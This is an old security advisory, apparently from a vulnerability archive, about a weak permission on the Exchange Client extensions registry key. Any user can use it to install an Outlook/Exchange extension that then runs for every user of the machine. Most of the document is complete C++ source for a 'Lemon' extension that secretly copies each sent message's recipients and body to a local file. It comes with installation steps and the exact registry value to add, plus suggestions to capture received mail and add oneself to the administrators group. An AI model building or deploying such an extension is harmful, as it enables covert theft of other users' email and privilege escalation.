COMMAND

    MS Exchange Server and Outlook

SYSTEMS AFFECTED

    Win NT

PROBLEM

    Martin Stanek  posted following.   Almost everywhere,  people  are
    using Exchange Client or Outlook to manage their e-mail  messages.
    It possible  for everybody  to add  an extension  to this program.
    Extensions are called in various contexts:  sending, receiving  or
    viewing  messages,  beginning   of  the  session,   etc...    Once
    registered, it's valid (active)  for everyone, who use  Outlook or
    Exchange Client on affected computer. The extension is not limited
    only to  e-mail specific  tasks -  but it  can do  everything what
    it want - and: with permissions of current user.

    Extensions are registered in Registry in subkey:

	HKLM\SOFTWARE\Microsoft\Exchange\Client\Extensions\

    This key has Special Access for Everyone:

	Query value
	Set value
	Create Subkey
	Enumerate Subkeys
	Notify
	Delete
	Read Control

    Experimental source code  for "stealing" e-mail  messages follows.
    See text below also!

    LEMON.H:

    /////////////////////////////////////////////////////////////////////
    //
    //      Header file for Lemon Extension
    //
    //      Martin Stanek   (c) 1997
    /////////////////////////////////////////////////////////////////////

    #include <WINDOWS.H>
    #include <COMMCTRL.H>
    #include <MAPIX.H>
    #include <MAPIUTIL.H>
    #include <MAPIFORM.H>
    #include <EXCHEXT.H>


    extern "C"
    {
     LPEXCHEXT CALLBACK ExchEntryPoint(void);
    }


    /////////////////////////////////////////////////////////////////////
    //      Class declaration
    //
    class MSSMExt;
    class MSSMMsgEvents;


    class MSSMExt : public IExchExt
    {
      public:
	    MSSMExt();
	    STDMETHODIMP QueryInterface(REFIID riid, LPVOID *ppvObj);
	inline STDMETHODIMP_(ULONG) AddRef() { ++m_cRef; return m_cRef; };
	inline STDMETHODIMP_(ULONG) Release() {
									    ULONG ulCount = --m_cRef;
									    if (!ulCount) {
										    delete this;
									    }
									    return ulCount;
								    };
	STDMETHODIMP Install (LPEXCHEXTCALLBACK pmecb, ULONG mecontext, ULONG ulFlags);

     private:
	ULONG m_cRef;
	UINT  m_context;
	MSSMMsgEvents *m_pMSSMMsgEvents;
    };


    class MSSMMsgEvents : public IExchExtMessageEvents
    {
     public:
	MSSMMsgEvents (LPUNKNOWN pParentInterface) {
		    m_pExchExt = pParentInterface;
		    m_cRef = 0;
		    m_bInSubmitState = FALSE;
	};

	STDMETHODIMP QueryInterface(REFIID riid, LPVOID *ppvObj);
	inline STDMETHODIMP_(ULONG) AddRef() { ++m_cRef; return m_cRef; };
	inline STDMETHODIMP_(ULONG) Release() {
									    ULONG ulCount = --m_cRef;
									    if (!ulCount) { delete this; }
									    return ulCount;
								    };

	STDMETHODIMP OnRead(LPEXCHEXTCALLBACK lpeecb);
	STDMETHODIMP OnReadComplete(LPEXCHEXTCALLBACK lpeecb, ULONG ulFlags);
	STDMETHODIMP OnWrite(LPEXCHEXTCALLBACK lpeecb);
	STDMETHODIMP OnWriteComplete(LPEXCHEXTCALLBACK lpeecb, ULONG ulFlags);
	STDMETHODIMP OnCheckNames(LPEXCHEXTCALLBACK lpeecb);
	STDMETHODIMP OnCheckNamesComplete(LPEXCHEXTCALLBACK lpeecb, ULONG ulFlags);
	STDMETHODIMP OnSubmit(LPEXCHEXTCALLBACK lpeecb);
	STDMETHODIMP_ (VOID)OnSubmitComplete(LPEXCHEXTCALLBACK lpeecb, ULONG ulFlags);

     private:
	ULONG   m_cRef;
	HRESULT m_hrOnReadComplete;
	BOOL    m_bInSubmitState;
	LPUNKNOWN m_pExchExt;
    };

    LEMON.DEF:

    LIBRARY         LEMON
    DESCRIPTION     'Lemon Extension for Exchange'
    CODE            SHARED READ EXECUTE
    DATA            SHARED READ WRITE
    EXPORTS
	ExchEntryPoint                   @1

    LEMON.CPP:

    /////////////////////////////////////////////////////////////////////
    //
    //      Lemon Extension
    //
    //      Martin Stanek                   (c) 1997
    //
    /////////////////////////////////////////////////////////////////////


    #define INITGUID
    #define USES_IID_IExchExt
    #define USES_IID_IExchExtMessageEvents
    #define USES_IID_IMessage
    #define USES_PS_MAPI
    #define USES_PS_PUBLIC_STRINGS


    #include "lemon.h"
    #include "stdio.h"
    #include "time.h"
    #include <MAPIGUID.H>

    char fname[]="c:\\temp\\mail.txt";      // complete name of the file for "stealed" mail
    FILE *fout;

    static HINSTANCE ghInstDLL = NULL;


    ///////////////////////////////////////
    //      DLL Initialization
    ///////////////////////////////////////
    BOOL WINAPI DllMain(HINSTANCE  hinstDLL, DWORD  fdwReason, LPVOID  lpvReserved)
    {
	    if (DLL_PROCESS_ATTACH == fdwReason) {
		    ghInstDLL = hinstDLL;
	    }
	    return TRUE;
    }

    ///////////////////////////////////////
    //      Called by Exchange when it starts
    ///////////////////////////////////////
    LPEXCHEXT CALLBACK ExchEntryPoint(void)
    {
	 return new MSSMExt;
    }


    /////////////////////////////////////////////////////////////////////
    //      MSSMExt::MSSMExt
    /////////////////////////////////////////////////////////////////////
    MSSMExt::MSSMExt()
    {
	    m_cRef = 1;
	    m_pMSSMMsgEvents = new MSSMMsgEvents(this);
    };


    ///////////////////////////////////////
    //      MSSMExt::QueryInterface
    ///////////////////////////////////////
    STDMETHODIMP MSSMExt::QueryInterface(REFIID riid, LPVOID FAR * ppvObj)
    {
	HRESULT hResult = S_OK;

	*ppvObj = NULL;

	if ((IID_IUnknown == riid) || (IID_IExchExt == riid))
	    *ppvObj = (LPUNKNOWN)this;
	else if (IID_IExchExtMessageEvents == riid)
	    *ppvObj = (LPUNKNOWN) m_pMSSMMsgEvents;
	else
	    hResult = E_NOINTERFACE;

	if (NULL != *ppvObj) ((LPUNKNOWN)*ppvObj)->AddRef();

	return hResult;
    }


    ///////////////////////////////////////
    //      MSSMExt::Install
    ///////////////////////////////////////
    STDMETHODIMP MSSMExt::Install(LPEXCHEXTCALLBACK peecb, ULONG eecontext, ULONG ulFlags)
    {
	ULONG ulBuildVersion;
	HRESULT hr;

	m_context = eecontext;

	peecb->GetVersion(&ulBuildVersion, EECBGV_GETBUILDVERSION);
	if (EECBGV_BUILDVERSION_MAJOR != (ulBuildVersion &
		    EECBGV_BUILDVERSION_MAJOR_MASK)) {
	    return S_FALSE;
	    }

	switch (eecontext)
	{
	 case EECONTEXT_SENDNOTEMESSAGE:
	 case EECONTEXT_SENDPOSTMESSAGE:
	 case EECONTEXT_SENDRESENDMESSAGE:
	    hr = S_OK;
	    break;
	 default:
	    hr = S_FALSE;
	    break;
	}
	return hr;
    }


    /////////////////////////////////////////////////////////////////////
    //      Implementacia metod MSSMMsgEvents
    /////////////////////////////////////////////////////////////////////

    ///////////////////////////////////////
    //      MSSMMsgEvents::QueryInterface
    ///////////////////////////////////////
    STDMETHODIMP MSSMMsgEvents::QueryInterface(REFIID riid, LPVOID FAR * ppvObj)
    {
	*ppvObj = NULL;
	if (riid == IID_IExchExtMessageEvents)
	{
	    *ppvObj = (LPVOID)this;
	    AddRef();
	    return S_OK;
	}
	if (riid == IID_IUnknown)
	{
	    *ppvObj = (LPVOID) m_pExchExt;  // return parent interface
	    m_pExchExt->AddRef();
	    return S_OK;
	}
	return E_NOINTERFACE;
    }


    ///////////////////////////////////////
    //      MSSMMsgEvents::OnRead
    ///////////////////////////////////////
    STDMETHODIMP MSSMMsgEvents::OnRead(LPEXCHEXTCALLBACK lpeecb)
    {
	    return S_FALSE;
    }


    ///////////////////////////////////////
    //      MSSMMsgEvents::OnReadComplete
    ///////////////////////////////////////
    STDMETHODIMP MSSMMsgEvents::OnReadComplete(LPEXCHEXTCALLBACK lpeecb, ULONG ulFlags)
    {
	    return S_FALSE;
    }


    ///////////////////////////////////////
    //      MSSMMsgEvents::OnWrite
    ///////////////////////////////////////
    STDMETHODIMP MSSMMsgEvents::OnWrite(LPEXCHEXTCALLBACK lpeecb)
    {
	    return S_FALSE;
    }


    ///////////////////////////////////////
    //      MSSMMsgEvents::OnWriteComplete
    ///////////////////////////////////////
    STDMETHODIMP MSSMMsgEvents::OnWriteComplete(LPEXCHEXTCALLBACK lpeecb, ULONG ulFlags)
    {
	    // this method is called after all message properties are written
	    // at this moment you can do everythig you want with sended message

	    HRESULT hr;
	    LPADRLIST FAR lpal = NULL;
	    ULONG i,j;
	    LPSPropValue lpprop;
	    LPMDB FAR lpmdb = NULL;
	    LPMAPIPROP FAR lpmp = NULL;
	    time_t ltime;
	    IMessage *pmsg = NULL;
	    LPUNKNOWN FAR lpUnk = NULL;
	    IStream *pstr = NULL;
	    STATSTG stat;
	    DWORD velkost, q;
	    LARGE_INTEGER nula = {0L, 0L};
	    char z;

	    // open file fname[] for append
	    if ((fout = fopen(fname,"a+t")) == NULL) {
		    return S_FALSE;
	    }

	    // get time and date
	    time(<ime);
	    fprintf(fout,"%s",ctime(<ime));

	    // get list of all recipients
	    hr = lpeecb->GetRecipients(&lpal);
	    if (hr != S_OK) {
		    goto error_return;
	    }
	    if (lpal->cEntries == 0) {
		    goto error_return;
	    }

	    fprintf(fout,"Recipients:\n");

	    for (i=0; i<lpal->cEntries; i++) {
		    lpprop = lpal->aEntries[i].rgPropVals;
		    for (j=0; j<lpal->aEntries[i].cValues; j++) {
			    if (lpprop[j].ulPropTag == PR_DISPLAY_NAME) {
				    fprintf(fout,"%s ", (LPSTR) lpprop[j].Value.lpszA);
			    }
			    if (lpprop[j].ulPropTag == PR_EMAIL_ADDRESS) {
				    fprintf(fout,"(%s) ", (LPSTR) lpprop[j].Value.lpszA);
			    }
		    }
		    fprintf(fout,"\n");
	    }

	    // get message body
	    fprintf(fout,"Message body:\n");

	    hr = lpeecb->GetObject(&lpmdb, &lpmp);
	    if (hr != S_OK) {
		    goto error_return;
	    }
	    pmsg = (IMessage *) lpmp;
	    hr = pmsg->OpenProperty(PR_BODY, (LPCIID) &IID_IStream, 0, MAPI_MODIFY, &lpUnk);
	    if (hr != S_OK) {
		    goto error_return;
	    }
	    pstr = (IStream *) lpUnk;

	    hr = pstr->Stat(&stat, STATFLAG_NONAME);
	    if (hr != S_OK) {
		    goto error_return;
	    }
	    velkost = stat.cbSize.LowPart;
	    hr = pstr->Seek(nula, STREAM_SEEK_SET, NULL);   // seek to begin
	    if (hr != S_OK) {
		    goto error_return;
	    }

	    for (q=0; q<velkost; q++) {  // ... and write
		    if (pstr->Read(&z, 1, NULL) == S_OK) {
			    fprintf(fout,"%c",z);
		    }
	    }

	    // delimiter to the end
	    fprintf(fout,"\n-------------------------------------\n");

    error_return:
	    fclose(fout);
	    return S_FALSE;
    }


    ///////////////////////////////////////
    //      MSSMMsgEvents::OnCheckNames
    ///////////////////////////////////////
    STDMETHODIMP MSSMMsgEvents::OnCheckNames(LPEXCHEXTCALLBACK lpeecb)
    {
	    return S_FALSE;
    }


    ///////////////////////////////////////
    //      MSSMMsgEvents::OnCheckNamesComplete
    ///////////////////////////////////////
    STDMETHODIMP MSSMMsgEvents::OnCheckNamesComplete(LPEXCHEXTCALLBACK lpeecb, ULONG ulFlags)
    {
	    return S_FALSE;
    }


    ///////////////////////////////////////
    //      MSSMMsgEvents::OnSubmit
    ///////////////////////////////////////
    STDMETHODIMP MSSMMsgEvents::OnSubmit(LPEXCHEXTCALLBACK lpeecb)
    {
	    return S_FALSE;
    }


    ///////////////////////////////////////
    //      MSSMMsgEvents::OnSubmitComplete
    ///////////////////////////////////////
    STDMETHODIMP_ (VOID) MSSMMsgEvents::OnSubmitComplete(LPEXCHEXTCALLBACK lpeecb, ULONG ulFlags)
    {
	    return;
    }

    This extension was created only for experimental purposes. Notice,
    in many circumstances, stealing mail is illegal.

    After installing  (see later),  it saves  every message  sent from
    affected  machine  to  file  (default  setting  in  source code is
    C:\temp\mail.txt). It  includes time  and also  all recipients  of
    this message.

    How to install lemon?

        1. (Modify  and)  Compile  source  code  --> lemmon.dll -  bad
           experiences with Release version compiled with MS VC++  5.0
           - global optimization flag. Debug versions are more stable.
        2. Place  lemmon.dll somewhere,  where everybody  can read  it
           (temp directory, system32 directory, etc...)
        3. Add string with name "lemon" (or whatever you want) with
           value (2nd argument is full path to lemon.dll):
               4.0;C:\temp\lemon.dll;1;00000101001000;0001000
           to Registry at this place:
               HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Exchange\Client\Extensions
        4. May be, you will have to logout.

    You can  take this  sample code  and modify  it not  only to  save
    every  sent  message,  but:   save  every  received  message,   do
    EVERYTHING you want with  permission of current user  (read/modify
    his files, if is he member of administrator group -> add  yourself
    also to this group, etc...).

    All this work, because everybody (user which is logged on machine)
    has  permission  to  add  (install  into  Registry)  extension for
    Outlook or  Exchange Client.  It is  OK. BUT!   This extension  is
    valid (activated in registered contexts) for every user which  use
    this machine.

SOLUTION

    Nothinh yet.